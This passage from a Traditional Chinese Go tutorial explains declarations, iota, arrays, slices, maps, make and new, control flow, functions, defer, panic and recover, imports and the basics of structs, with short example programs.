下面這張圖來源於[Russ Cox Blog](#)中一篇介紹 [Go 資料結構](#)的文章，大家可以看到這些基礎型別底層都是分配了一塊記憶體，然後儲存了相應的值。



圖 2.1 Go 資料格式的儲存

## 一些技巧

### 分組宣告

在 Go 語言中，同時宣告多個常量、變數，或者匯入多個套件時，可採用分組的方式進行宣告。

例如下面的程式碼：

```
import "fmt"
import "os"

const i = 100
const pi = 3.1415
const prefix = "Go_"

var i int
var pi float32
var prefix string
```

可以分組寫成如下形式：

```
import(
    "fmt"
    "os"
)

const(
    i = 100
    pi = 3.1415
    prefix = "Go_"
)

var(
    i int
    pi float32
    prefix string
)
```

## iota 列舉

Go 裡面有一個關鍵字 `iota`，這個關鍵字用來宣告 `enum` 的時候採用，它預設開始值是 0，`const` 中每增加一行加 1：

```

package main

import (
    "fmt"
)

const (
    x = iota // x == 0
    y = iota // y == 1
    z = iota // z == 2
    w        // 常量宣告省略值時，預設和之前一個值的字面相同。這裡隱式地說
    w = iota, 因此 w == 3。其實上面 y 和 z 可同樣不用 "= iota"
)

const v = iota // 每遇到一個 const 關鍵字，iota 就會重置，此時 v == 0

const (
    h, i, j = iota, iota, iota //h=0,i=0,j=0 iota 在同一行值相同
)

const (
    a      = iota //a=0
    b      = "B"
    c      = iota           //c=2
    d, e, f = iota, iota, iota //d=3,e=3,f=3
    g      = iota           //g = 4
)

func main() {
    fmt.Println(a, b, c, d, e, f, g, h, i, j, x, y, z, w, v)
}

```

除非被顯式設定為其它值或 `iota`，每個 `const` 分組的第一個常量被預設設定為它的 0 值，第二及後續的常量被預設設定為它前面那個常量的值，如果前面那個常量的值是 `iota`，則它也被設定為 `iota`。

## Go 程式設計的一些規則

Go 之所以會那麼簡潔，是因為它有一些預設的行為：

- 大寫字母開頭的變數是可匯出的，也就是其它套件可以讀取的，是公有變數；小寫字母開頭的就是不可匯出的，是私有變數。
- 大寫字母開頭的函式也是一樣，相當於 `class` 中的帶 `public` 關鍵詞的公有函式；小寫字母開頭的就是有 `private` 關鍵詞的私有函式。

## array、slice、map

### array

`array` 就是陣列，它的定義方式如下：

```
var arr [n]type
```

在 `[n]type` 中，`n` 表示陣列的長度，`type` 表示儲存元素的型別。對陣列的操作和其它語言類似，都是透過 `[]` 來進行讀取或賦值：

```
var arr [10]int // 聲明瞭一個 int 型別的陣列
arr[0] = 42     // 陣列下標是從 0 開始的
arr[1] = 13     // 賦值操作
fmt.Printf("The first element is %d\n", arr[0]) // 取得資料，返回 42
fmt.Printf("The last element is %d\n", arr[9])  // 返回未賦值的最後一個元素，預設返回 0
```

由於長度也是陣列型別的一部分，因此 `[3]int` 與 `[4]int` 是不同的型別，陣列也就不能改變長度。陣列之間的賦值是值的賦值，即當把一個數組作為引數傳入函式的時候，傳入的其實是該陣列的副本，而不是它的指標。如果要使用指標，那麼就需要用到後面介紹的 `slice` 型別了。

陣列可以使用另一種 `:=` 來宣告

```

a := [3]int{1, 2, 3} // 聲明瞭一個長度為 3 的 int 陣列

b := [10]int{1, 2, 3} // 聲明瞭一個長度為 10 的 int 陣列，其中前三個元
素初始化為 1、2、3，其它預設為 0

c := [...]int{4, 5, 6} // 可以省略長度而採用`...`的方式，Go 會自動根據
元素個數來計算長度

```

也許你會說，我想數組裡面的值還是陣列，能實現嗎？當然咯，Go 支援巢狀陣列，即多維陣列。比如下面的程式碼就聲明瞭一個二維陣列：

```

// 聲明瞭一個二維陣列，該陣列以兩個陣列作為元素，其中每個陣列中又有 4 個 in
t 型別的元素
doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}}

// 上面的宣告可以簡化，直接忽略內部的型別
easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}}

```

陣列的分配如下所示：



圖 2.2 多維陣列的對映關係

## slice

在很多應用場景中，陣列並不能滿足我們的需求。在初始定義陣列時，我們並不知道需要多大的陣列，因此我們就需要“動態陣列”。在 Go 裡面這種資料結構

叫 slice

slice 並不是真正意義上的動態陣列，而是一個參考型別。slice 總是指向一個底層 array，slice 的宣告也可以像 array 一樣，只是不需要長度。

```

// 和宣告 array 一樣，只是少了長度
var fslice []int

```

接下來我們可以宣告一個 `slice`，並初始化資料，如下所示：

```
slice := []byte {'a', 'b', 'c', 'd'}
```

`slice` 可以從一個數組或一個已經存在的 `slice` 中再次宣告。`slice` 透過 `array[i:j]` 來取得，其中 `i` 是陣列的開始位置，`j` 是結束位置，但不包含 `array[j]`，它的長度是 `j-i`。

```
// 宣告一個含有 10 個元素元素型別為 byte 的陣列
var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}

// 宣告兩個含有 byte 的 slice
var a, b []byte

// a 指向陣列的第 3 個元素開始，併到第五個元素結束，
a = ar[2:5]
//現在 a 含有的元素：ar[2]、ar[3]和 ar[4]

// b 是陣列 ar 的另一個 slice
b = ar[3:5]
// b 的元素是：ar[3]和 ar[4]
```

注意 `slice` 和陣列在宣告時的區別：宣告陣列時，方括號內寫明瞭陣列的長度或使用 `...` 自動計算長度，而宣告 `slice` 時，方括號內沒有任何字元。

它們的資料結構如下所示



圖 2.3 `slice` 和 `array` 的對應關係圖

`slice` 有一些簡便的操作

- `slice` 的預設開始位置是 0，`ar[:n]` 等價於 `ar[0:n]`
- `slice` 的第二個序列預設是陣列的長度，`ar[n:]` 等價於 `ar[n:len(ar)]`
- 如果從一個數組裡面直接取得 `slice`，可以這樣 `ar[:]`，因為預設第一個序列是 0，第二個是陣列的長度，即等價於 `ar[0:len(ar)]`

下面這個例子展示了更多關於 `slice` 的操作：

```
// 宣告一個數組
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// 宣告兩個 slice
var aSlice, bSlice []byte

// 示範一些簡便操作
aSlice = array[:3] // 等價於 aSlice = array[0:3] aSlice 包含元素：
a,b,c
aSlice = array[5:] // 等價於 aSlice = array[5:10] aSlice 包含元素：
f,g,h,i,j
aSlice = array[:] // 等價於 aSlice = array[0:10] 這樣 aSlice 包含
了全部的元素

// 從 slice 中取得 slice
aSlice = array[3:7] // aSlice 包含元素：d,e,f,g，len=4，cap=7
bSlice = aSlice[1:3] // bSlice 包含 aSlice[1], aSlice[2] 也就是含
有：e,f
bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[
2] 也就是含有：d,e,f
bSlice = aSlice[0:5] // 對 slice 的 slice 可以在 cap 範圍內擴充套件
，此時 bSlice 包含：d,e,f,g,h
bSlice = aSlice[:] // bSlice 包含所有 aSlice 的元素：d,e,f,g
```

`slice` 是參考型別，所以當參考改變其中元素的值時，其它的所有參考都會改變該值，例如上面的 `aSlice` 和 `bSlice`，如果修改了 `aSlice` 中元素的值，那麼 `bSlice` 相對應的值也會改變。

從概念上面來說 `slice` 像一個結構體，這個結構體包含了三個元素：

- 一個指標，指向陣列中 `slice` 指定的開始位置
- 長度，即 `slice` 的長度
- 最大長度，也就是 `slice` 開始位置到陣列的最後位置的長度



```
Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
    'i', 'j'}
Slice_a := Array_a[2:5]
```

上面程式碼的真正儲存結構如下圖所示



圖 2.4 slice 對應陣列的資訊

對於 slice 有幾個有用的內建函式：

- len 取得 slice 的長度
- cap 取得 slice 的最大容量
- append 向 slice 裡面追加一個或者多個元素，然後返回一個和 slice 一樣型別的 slice
- copy 函式 copy 從源 slice 的 src 中複製元素到目標 dst，並且返回複製的元素的個數

注：append 函式會改變 slice 所參考的陣列的內容，從而影響到參考同一陣列的其它 slice。但當 slice 中沒有剩餘空間（即 `(cap-len) == 0`）時，此時將動態分配新的陣列空間。返回的 slice 陣列指標將指向這個空間，而原陣列的內容將保持不變；其它參考此陣列的 slice 則不受影響。

從 Go1.2 開始 slice 支援了三個引數的 slice，之前我們一直採用這種方式在 slice 或者 array 基礎上來取得一個 slice

```
var array [10]int
slice := array[2:4]
```

這個例子裡面 slice 的容量是 8，新版本里面可以指定這個容量

```
slice = array[2:4:7]
```

上面這個的容量就是 `7-2`，即 5。這樣這個產生的新的 slice 就沒辦法訪問最後的三個元素。

如果 slice 是這樣的形式 `array[:i:j]`，即第一個引數為空，預設值就是 0。

## map

map 也就是 Python 中字典的概念，它的格式為 `map[keyType]valueType`

我們看下面的程式碼，map 的讀取和設定也類似 slice 一樣，透過 key 來操作，只是 slice 的 index 只能是 'int' 型別，而 map 多了很多型別，可以是 int，可以是 string 及所有完全定義了 == 與 != 操作的型別。

```
// 宣告一個 key 是字串，值為 int 的字典，這種方式的宣告需要在使用之前使用
make 初始化
var numbers map[string]int
// 另一種 map 的宣告方式
numbers = make(map[string]int)
numbers["one"] = 1 //賦值
numbers["ten"] = 10 //賦值
numbers["three"] = 3

fmt.Println("第三個數字是: ", numbers["three"]) // 讀取資料
// 打印出來如：第三個數字是：3
```

這個 map 就像我們平常看到的表格一樣，左邊列是 key，右邊列是值

使用 map 過程中需要注意的幾點：

- map 是無序的，每次打印出來的 map 都會不一樣，它不能透過 index 取得，而必須透過 key 取得
- map 的長度是不固定的，也就是和 slice 一樣，也是一種參考型別
- 內建的 len 函式同樣適用於 map，返回 map 擁有的 key 的數量
- map 的值可以很方便的修改，透過 `numbers["one"]=11` 可以很容易的把 key 為 one 的字典值改為 11
- map 和其他基本型別不同，它不是 thread-safe，在多個 go-routine 存取時，必須使用 mutex lock 機制

map 的初始化可以透過 `key:val` 的方式初始化值，同時 map 內建有判斷是否存在 key 的方式

透過 `delete` 刪除 `map` 的元素：

```
// 初始化一個字典
rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 }
// map 有兩個返回值，第二個返回值，如果不存在 key，那麼 ok 為 false，如果存在 ok 為 true
csharpRating, ok := rating["C#"]
if ok {
    fmt.Println("C# is in the map and its rating is ", csharpRating)
} else {
    fmt.Println("We have no rating associated with C# in the map")
}

delete(rating, "C") // 刪除 key 為 C 的元素
```

上面說過了，`map` 也是一種參考型別，如果兩個 `map` 同時指向一個底層，那麼一個改變，另一個也相應的改變：

```
m := make(map[string]string)
m["Hello"] = "Bonjour"
m1 := m
m1["Hello"] = "Salut" // 現在 m["hello"] 的值已經是 Salut 了
```

## make、new 操作

`make` 用於內建型別（`map`、`slice` 和 `channel`）的記憶體分配。`new` 用於各種型別的記憶體分配。

內建函式 `new` 本質上說跟其它語言中的同名函式功能一樣：`new(T)` 分配了零值填充的 `T` 型別的記憶體空間，並且返回其地址，即一個 `*T` 型別的值。用 Go 的術語說，它返回了一個指標，指向新分配型別 `T` 的零值。有一點非常重要：

`new` 返回指標。

內建函式 `make(T, args)` 與 `new(T)` 有著不同的功能，`make` 只能建立 `slice`、`map` 和 `channel`，並且返回一個有初始值(非零)的 `T` 型別，而不是 `*T`。本質來講，導致這三個型別有所不同的原因是指向資料結構的參考在使用前必須被初始化。例如，一個 `slice`，是一個包含指向資料（內部 `array`）的指標、長度和容量的三項描述符；在這些專案被初始化之前，`slice` 為 `nil`。對於 `slice`、`map` 和 `channel` 來說，`make` 初始化了內部的資料結構，填充適當的值。

`make` 返回初始化後的（非零）值。

下面這個圖詳細的解釋了 `new` 和 `make` 之間的區別。



圖 2.5 `make` 和 `new` 對應底層的記憶體分配

## 零值

關於“零值”，所指並非是空值，而是一種“變數未填充前”的預設值，通常為 0。此處羅列部分類型的“零值”

```
int      0
int8     0
int32    0
int64    0
uint     0x0
rune     0 //rune 的實際型別是 int32
byte     0x0 // byte 的實際型別是 uint8
float32  0 //長度為 4 byte
float64  0 //長度為 8 byte
bool     false
string   ""
```

## links

- [目錄](#)

- 上一章: [你好,Go](#)
- 下一節: [流程和函式](#)

## 2.3 流程和函式

這小節我們要介紹 Go 裡面的流程控制以及函式操作。

### 流程控制

流程控制在程式語言中是最偉大的發明了，因為有了它，你可以透過很簡單的流程描述來表達很複雜的邏輯。Go 中流程控制分三大類別：條件判斷，迴圈控制和無條件跳轉。

#### if

`if` 也許是各種程式語言中最常見的了，它的語法概括起來就是：如果滿足條件就做某事，否則做另一件事。

Go 裡面 `if` 條件判斷語句中不需要括號，如下程式碼所示

```
if x > 10 {  
    fmt.Println("x is greater than 10")  
} else {  
    fmt.Println("x is less than 10")  
}
```

Go 的 `if` 還有一個強大的地方就是條件判斷語句裡面允許宣告一個變數，這個變數的作用域只能在該條件邏輯塊內，其他地方就不起作用了，如下所示

```
// 計算取得值 x，然後根據 x 返回的大小，判斷是否大於 10。
if x := computedValue(); x > 10 {
    fmt.Println("x is greater than 10")
} else {
    fmt.Println("x is less than 10")
}

// 這個地方如果這樣呼叫就編譯出錯了，因為 x 是條件裡面的變數
fmt.Println(x)
```

多個條件的時候如下所示：

```
if integer == 3 {
    fmt.Println("The integer is equal to 3")
} else if integer < 3 {
    fmt.Println("The integer is less than 3")
} else {
    fmt.Println("The integer is greater than 3")
}
```

## goto

Go 有 `goto` 語句——請明智地使用它。用 `goto` 跳轉到必須在當前函式內定義的標籤。例如假設這樣一個迴圈：

```
func myFunc() {
    i := 0
Here:    // 這行的第一個詞，以冒號結束作為標籤
    println(i)
    i++
    goto Here    // 跳轉到 Here 去
}
```

標籤名是大小寫敏感的。

## for

Go 裡面最強大的一個控制邏輯就是 `for`，它既可以用來迴圈讀取資料，又可以當作 `while` 來控制邏輯，還能迭代操作。它的語法如下：

```
for expression1; expression2; expression3 {  
    //...  
}
```

`expression1`、`expression2` 和 `expression3` 都是表示式，其中 `expression1` 和 `expression3` 是變數宣告或者函式呼叫返回值之類別的，`expression2` 是用來條件判斷，`expression1` 在迴圈開始之前呼叫，`expression3` 在每輪迴圈結束之時呼叫。

一個例子比上面講那麼多更有用，那麼我們看看下面的例子吧：

```
package main  
  
import "fmt"  
  
func main(){  
    sum := 0;  
    for index:=0; index < 10 ; index++ {  
        sum += index  
    }  
    fmt.Println("sum is equal to ", sum)  
}  
// 輸出: sum is equal to 45
```

有些時候需要進行多個賦值操作，由於 Go 裡面沒有 `,` 運算子，那麼可以使用平行賦值 `i, j = i+1, j-1`

有些時候如果我們忽略 `expression1` 和 `expression3`：



```
sum := 1
for ; sum < 1000; {
    sum += sum
}
```

其中 `;` 也可以省略，那麼就變成如下的程式碼了，是不是似曾相識？對，這就是 `while` 的功能。

```
sum := 1
for sum < 1000 {
    sum += sum
}
```

在迴圈裡面有兩個關鍵操作 `break` 和 `continue`，`break` 操作是跳出當前迴圈，`continue` 是跳過本次迴圈。當巢狀過深的時候，`break` 可以配合標籤使用，即跳轉至標籤所指定的位置，詳細參考如下例子：

```
for index := 10; index>0; index-- {
    if index == 5{
        break // 或者 continue
    }
    fmt.Println(index)
}
// break 打印出來 10、9、8、7、6
// continue 打印出來 10、9、8、7、6、4、3、2、1
```

`break` 和 `continue` 還可以跟著標號，用來跳到多重迴圈中的外層迴圈

`for` 配合 `range` 可以用於讀取 `slice` 和 `map` 的資料：

```
for k,v:=range map {  
    fmt.Println("map's key:",k)  
    fmt.Println("map's val:",v)  
}
```

由於 Go 支援“多值返回”，而對於“宣告而未被呼叫”的變數，編譯器會報錯，在這種情況下，可以使用 `_` 來丟棄不需要的返回值 例如

```
for _, v := range map{  
    fmt.Println("map's val:", v)  
}
```

## switch

有些時候你需要寫很多的 `if-else` 來實現一些邏輯處理，這個時候程式碼看上去就很醜很冗長，而且也不易於以後的維護，這個時候 `switch` 就能很好的解決這個問題。它的語法如下

```
switch sExpr {  
case expr1:  
    some instructions  
case expr2:  
    some other instructions  
case expr3:  
    some other instructions  
default:  
    other code  
}
```

`sExpr` 和 `expr1` 、 `expr2` 、 `expr3` 的型別必須一致。Go 的 `switch` 非常靈活，表示式不必是常量或整數，執行的過程從上至下，直到找到匹配項；而如果 `switch` 沒有表示式，它會匹配 `true` 。

```
i := 10
switch i {
case 1:
    fmt.Println("i is equal to 1")
case 2, 3, 4:
    fmt.Println("i is equal to 2, 3 or 4")
case 10:
    fmt.Println("i is equal to 10")
default:
    fmt.Println("All I know is that i is an integer")
}
```

在第 5 行中，我們把很多值聚合在了一個 `case` 裡面，同時，Go 裡面 `switch` 預設相當於每個 `case` 最後帶有 `break`，匹配成功後不會自動向下執行其他 `case`，而是跳出整個 `switch`，但是可以使用 `fallthrough` 強制執行後面的 `case` 程式碼。

```
integer := 6
switch integer {
case 4:
    fmt.Println("The integer was <= 4")
    fallthrough
case 5:
    fmt.Println("The integer was <= 5")
    fallthrough
case 6:
    fmt.Println("The integer was <= 6")
    fallthrough
case 7:
    fmt.Println("The integer was <= 7")
    fallthrough
case 8:
    fmt.Println("The integer was <= 8")
    fallthrough
default:
    fmt.Println("default case")
}
```

上面的程式將輸出

```
The integer was <= 6
The integer was <= 7
The integer was <= 8
default case
```

## 函式

函式是 Go 裡面的核心設計，它透過關鍵字 `func` 來宣告，它的格式如下：

```
func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) {  
    //這裡是處理邏輯程式碼  
    //返回多個值  
    return value1, value2  
}
```

上面的程式碼我們看出

- 關鍵字 `func` 用來宣告一個函式 `funcName`
- 函式可以有一個或者多個引數，每個引數後面帶有型別，透過 `,` 分隔
- 函式可以返回多個值
- 上面返回值聲明瞭兩個變數 `output1` 和 `output2`，如果你不想宣告也可以，直接就兩個型別
- 如果只有一個返回值且不宣告返回值變數，那麼你可以省略 包括返回值 的括號
- 如果沒有返回值，那麼就直接省略最後的返回資訊
- 如果有返回值，那麼必須在函式的外層新增 `return` 語句

下面我們來看一個實際應用函式的例子（用來計算 Max 值）

```
package main

import "fmt"

// 返回 a、b 中最大值。
func max(a, b int) int {
    if a > b {
        return a
    }
    return b
}

func main() {
    x := 3
    y := 4
    z := 5

    max_xy := max(x, y) //呼叫函式 max(x, y)
    max_xz := max(x, z) //呼叫函式 max(x, z)

    fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
    fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
    fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 也可在這直
    接呼叫它
}
```

上面這個裡面我們可以看到 `max` 函式有兩個引數，它們的型別都是 `int`，那麼第一個變數的型別可以省略（即 `a,b int`，而非 `a int, b int`），預設為離它最近的型別，同理多於 2 個同類型的變數或者返回值。同時我們注意到它的返回值就是一個型別，這個就是省略寫法。

## 多個返回值

Go 語言比 C 更先進的特性，其中一點就是函式能夠返回多個值。

我們直接上程式碼看例子

```
package main

import "fmt"

//返回 A+B 和 A*B
func SumAndProduct(A, B int) (int, int) {
    return A+B, A*B
}

func main() {
    x := 3
    y := 4

    xPLUSy, xTIMESy := SumAndProduct(x, y)

    fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
    fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}
```

上面的例子我們可以看到直接返回了兩個引數，當然我們也可以命名返回引數的變數，這個例子裡面只是用了兩個型別，我們也可以改成如下這樣的定義，然後返回的時候不用帶上變數名，因為直接在函式裡面初始化了。但如果你的函式是匯出的(首字母大寫)，官方建議：最好命名返回值，因為不命名返回值，雖然使得程式碼更加簡潔了，但是會造成產生的文件可讀性差。

```
func SumAndProduct(A, B int) (add int, Multiplied int) {
    add = A+B
    Multiplied = A*B
    return
}
```

## 變參

Go 函式支援變參。接受變參的函式是有著不定數量的引數的。為了做到這點，首先需要定義函式使其接受變參：

```
func myfunc(arg ...int) {}
```

`arg ...int` 告訴 Go 這個函式接受不定數量的引數。注意，這些引數的型別全部是 `int`。在函式體中，變數 `arg` 是一個 `int` 的 `slice`：

```
for _, n := range arg {  
    fmt.Printf("And the number is: %d\n", n)  
}
```

## 傳值與傳指標

當我們傳一個引數值到被呼叫函式裡面時，實際上是傳了這個值的一份 `copy`，當在被呼叫函式中修改引數值的時候，呼叫函式中相應實參不會發生任何變化，因為數值變化只作用在 `copy` 上。

為了驗證我們上面的說法，我們來看一個例子



```
package main

import "fmt"

//簡單的一個函式，實現了引數+1 的操作
func add1(a int) int {
    a = a+1 // 我們改變了 a 的值
    return a //返回一個新值
}

func main() {
    x := 3

    fmt.Println("x = ", x) // 應該輸出 "x = 3"

    x1 := add1(x) //呼叫 add1(x)

    fmt.Println("x+1 = ", x1) // 應該輸出"x+1 = 4"
    fmt.Println("x = ", x)    // 應該輸出"x = 3"
}
```

看到了嗎？雖然我們呼叫了 `add1` 函式，並且在 `add1` 中執行 `a = a+1` 操作，但是上面例子中 `x` 變數的值沒有發生變化

理由很簡單：因為當我們呼叫 `add1` 的時候，`add1` 接收的引數其實是 `x` 的 copy，而不是 `x` 本身。

那你也許會問了，如果真的需要傳這個 `x` 本身，該怎麼辦呢？

這就牽扯到了所謂的指標。我們知道，變數在記憶體中是存放於一定地址上的，修改變數實際是修改變數地址處的記憶體。只有 `add1` 函式知道 `x` 變數所在的地址，才能修改 `x` 變數的值。所以我們需要將 `x` 所在地址 `&x` 傳入函式，並將函式的引數的型別由 `int` 改為 `*int`，即改為指標型別，才能在函式中修改 `x` 變數的值。此時引數仍然是按 copy 傳遞的，只是 copy 的是一個指標。請看下面的例子

```
package main

import "fmt"

//簡單的一個函式，實現了引數+1 的操作
func add1(a *int) int { // 請注意，
    *a = *a+1 // 修改了 a 的值
    return *a // 返回新值
}

func main() {
    x := 3

    fmt.Println("x = ", x) // 應該輸出 "x = 3"

    x1 := add1(&x) // 呼叫 add1(&x) 傳 x 的地址

    fmt.Println("x+1 = ", x1) // 應該輸出 "x+1 = 4"
    fmt.Println("x = ", x)    // 應該輸出 "x = 4"
}
```

這樣，我們就達到了修改 `x` 的目的。那麼到底傳指標有什麼好處呢？

- 傳指標使得多個函式能操作同一個物件。
- 傳指標比較輕量級 (8bytes)，只是傳記憶體地址，我們可以用指標傳遞體積大的結構體。如果用引數值傳遞的話，在每次 copy 上面就會花費相對較多的系統開銷（記憶體和時間）。所以當你要傳遞大的結構體的時候，用指標是一個明智的選擇。
- Go 語言中 `channel`，`slice`，`map` 這三種類型的實現機制類似指標，所以可以直接傳遞，而不用取地址後傳遞指標。（注：若函式需改變 `slice` 的長度，則仍需要取地址傳遞指標）

## defer

Go 語言中有種不錯的設計，即延遲（defer）語句，你可以在函式中新增多個 defer 語句。當函式執行到最後時，這些 defer 語句會按照逆序執行，最後該函式返回。特別是當你在進行一些開啓資源的操作時，遇到錯誤需要提前返回，在返回前

你需要關閉相應的資源，不然很容易造成資源洩露等問題。如下程式碼所示，我們一般寫開啓一個資源是這樣操作的：

```
func ReadWrite() bool {
    file.Open("file")
    // 做一些工作
    if failureX {
        file.Close()
        return false
    }

    if failureY {
        file.Close()
        return false
    }

    file.Close()
    return true
}
```

我們看到上面有很多重複的程式碼，Go 的 `defer` 有效解決了這個問題。使用它後，不但程式碼量減少了很多，而且程式變得更優雅。在 `defer` 後指定的函式會在函式退出前呼叫。

```
func ReadWrite() bool {
    file.Open("file")
    defer file.Close()
    if failureX {
        return false
    }
    if failureY {
        return false
    }
    return true
}
```

如果有很多呼叫 `defer`，那麼 `defer` 是採用後進先出模式，所以如下程式碼會輸出 `4 3 2 1 0`

```
for i := 0; i < 5; i++ {  
    defer fmt.Printf("%d ", i)  
}
```

## 函式作為值、型別

在 Go 中函式也是一種變數，我們可以透過 `type` 來定義它，它的型別就是所有擁有相同的引數，相同的返回值的一種型別

```
type typeName func(input1 inputType1 , input2 inputType2 [, ...]  
) (result1 resultType1 [, ...])
```

函式作為型別到底有什麼好處呢？那就是可以把這個型別的函式當做值來傳遞，請看下面的例子

```
package main  
  
import "fmt"  
  
type testInt func(int) bool // 聲明瞭一個函式型別  
  
func isOdd(integer int) bool {  
    if integer%2 == 0 {  
        return false  
    }  
    return true  
}  
  
func isEven(integer int) bool {  
    if integer%2 == 0 {  
        return true  
    }  
}
```

```
        return false
    }

    // 宣告的函式型別在這個地方當做了一個引數

    func filter(slice []int, f testInt) []int {
        var result []int
        for _, value := range slice {
            if f(value) {
                result = append(result, value)
            }
        }
        return result
    }

    func main(){
        slice := []int {1, 2, 3, 4, 5, 7}
        fmt.Println("slice = ", slice)
        odd := filter(slice, isOdd)    // 函式當做值來傳遞了
        fmt.Println("Odd elements of slice are: ", odd)
        even := filter(slice, isEven)  // 函式當做值來傳遞了
        fmt.Println("Even elements of slice are: ", even)
    }
```

函式當做值和型別在我們寫一些通用介面的時候非常有用，透過上面例子我們看到 `testInt` 這個型別是一個函式型別，然後兩個 `filter` 函式的引數和返回值與 `testInt` 型別是一樣的，但是我們可以實現很多種的邏輯，這樣使得我們的程式變得非常的靈活。

## Panic 和 Recover

Go 沒有像 Java 那樣的異常機制，它不能丟擲異常，而是使用了 `panic` 和 `recover` 機制。一定要記住，你應當把它作為最後的手段來使用，也就是說，你的程式碼中應當沒有，或者很少有 `panic` 的東西。這是個強大的工具，請明智地使用它。那麼，我們應該如何使用它呢？

### Panic

是一個內建函式，可以中斷原有的控制流程，進入一個 `panic` 狀態中。當函式 `F` 呼叫 `panic`，函式 `F` 的執行被中斷，但是 `F` 中的延遲函式會正常執行，然後 `F` 返回到呼叫它的地方。在呼叫的地方，`F` 的行為就像呼叫了 `panic`。這一過程繼續向上，直到發生 `panic` 的 `goroutine` 中所有呼叫的函式返回，此時程式退出。`panic` 可以直接呼叫 `panic` 產生。也可以由執行時錯誤產生，例如訪問越界的陣列。

## Recover

是一個內建的函式，可以讓進入 `panic` 狀態的 `goroutine` 恢復過來。`recover` 僅在延遲函式中有效。在正常的執行過程中，呼叫 `recover` 會返回 `nil`，並且沒有其它任何效果。如果當前的 `goroutine` 陷入 `panic` 狀態，呼叫 `recover` 可以捕獲到 `panic` 的輸入值，並且恢復正常的執行。

下面這個函式示範瞭如何在過程中使用 `panic`

```
var user = os.Getenv("USER")

func init() {
    if user == "" {
        panic("no value for $USER")
    }
}
```

下面這個函式檢查作為其引數的函式在執行時是否會產生 `panic`：

```
func throwsPanic(f func()) (b bool) {
    defer func() {
        if x := recover(); x != nil {
            b = true
        }
    }()
    f() //執行函式 f，如果 f 中出現了 panic，那麼就可以恢復回來
    return
}
```

## main 函式和 init 函式

Go 裡面有兩個保留的函式：`init` 函式（能夠應用於所有的 `package`）和 `main` 函式（只能應用於 `package main`）。這兩個函式在定義時不能有任何的引數和返回值。雖然一個 `package` 裡面可以寫任意多個 `init` 函式，但這無論是對於可讀性還是以後的可維護性來說，我們都強烈建議使用者在一個 `package` 中每個檔案只寫一個 `init` 函式。

Go 程式會自動呼叫 `init()` 和 `main()`，所以你不需要在任何地方呼叫這兩個函式。每個 `package` 中的 `init` 函式都是可選的，但 `package main` 就必須包含一個 `main` 函式。

程式的初始化和執行都起始於 `main` 套件。如果 `main` 套件還匯入了其它的套件，那麼就會在編譯時將它們依次匯入。有時一個套件會被多個套件同時匯入，那麼它只會被匯入一次（例如很多套件可能都會用到 `fmt` 套件，但它只會被匯入一次，因為沒有必要匯入多次）。當一個套件被匯入時，如果該套件還匯入了其它的套件，那麼會先將其它套件匯入進來，然後再對這些套件中的套件級常量和變數進行初始化，接著執行 `init` 函式（如果有的話），依次類別推。等所有被匯入的套件都載入完畢了，就會開始對 `main` 套件中的套件級常量和變數進行初始化，然後執行 `main` 套件中的 `init` 函式（如果存在的話），最後執行 `main` 函式。下圖詳細地解釋了整個執行過程：



圖 2.6 main 函式引入套件初始化流程圖

## import

我們在寫 Go 程式碼的時候經常用到 `import` 這個命令用來匯入套件檔案，而我們經常看到的方式參考如下：

```
import(  
    "fmt"  
)
```

然後我們程式碼裡面可以透過如下的方式呼叫

```
fmt.Println("hello world")
```

上面這個 `fmt` 是 Go 語言的標準函式庫，其實是去 `GOROOT` 環境變數指定目錄下去載入該模組，當然 Go 的 `import` 還支援如下兩種方式來載入自己寫的模組：

### 1. 相對路徑

```
import "./model" //當前檔案同一目錄的 model 目錄，但是不建議這種方式來  
import
```

### 2. 絕對路徑

```
import "shorturl/model" //載入 gopath/src/shorturl/model 模組
```

上面展示了一些 `import` 常用的幾種方式，但是還有一些特殊的 `import`，讓很多新手很費解，下面我們來一一講解一下到底是怎麼一回事

### 1. 點操作

我們有時候會看到如下的方式匯入包

```
import(  
    . "fmt"  
)
```

這個點操作的含義就是這個套件匯入之後在你呼叫這個套件的函式時，你可以省略字首的套件名，也就是前面你呼叫的 `fmt.Println("hello world")` 可以省略的寫成 `Println("hello world")`

### 2. 別名操作

別名操作顧名思義我們可以把套件命名成另一個我們用起來容易記憶的名字

```
import(  
    f "fmt"  
)
```



別名操作的話呼叫套件函式時字首變成了我們的字首，即 `f.Println("hello world")`

### 3. `_` 操作

這個操作經常是讓很多人費解的一個運算子，請看下面這個 `import`

```
import (  
    "database/sql"  
    _ "github.com/ziutek/mymysql/godrv"  
)
```

`_` 操作其實是引入該套件，而不直接使用套件裡面的函式，而是呼叫了該套件裡面的 `init` 函式。

## links

- [目錄](#)
- 上一章: [Go 基礎](#)
- 下一節: [struct 型別](#)

## 2.4 struct 型別

### struct

Go 語言中，也和 C 或者其他語言一樣，我們可以宣告新的型別，作為其它型別的屬性或欄位的容器。例如，我們可以建立一個自訂型別 `person` 代表一個人的實體。這個實體擁有屬性：姓名和年齡。這樣的型別我們稱之 `struct`。如下程式碼所示：

```
type person struct {  
    name string  
    age  int  
}
```

看到了嗎？宣告一個 `struct` 如此簡單，上面的型別包含有兩個欄位

- 一個 `string` 型別的欄位 `name`，用來儲存使用者名稱稱這個屬性
- 一個 `int` 型別的欄位 `age`，用來儲存使用者年齡這個屬性

如何使用 `struct` 呢？請看下面的程式碼

```
type person struct {  
    name string  
    age  int  
}  
  
var P person // P 現在就是 person 型別的變量了  
  
P.name = "Astaxie" // 賦值"Astaxie"給 P 的 name 屬性。  
P.age = 25 // 賦值"25"給變數 P 的 age 屬性  
fmt.Printf("The person's name is %s", P.name) // 訪問 P 的 name  
屬性。
```

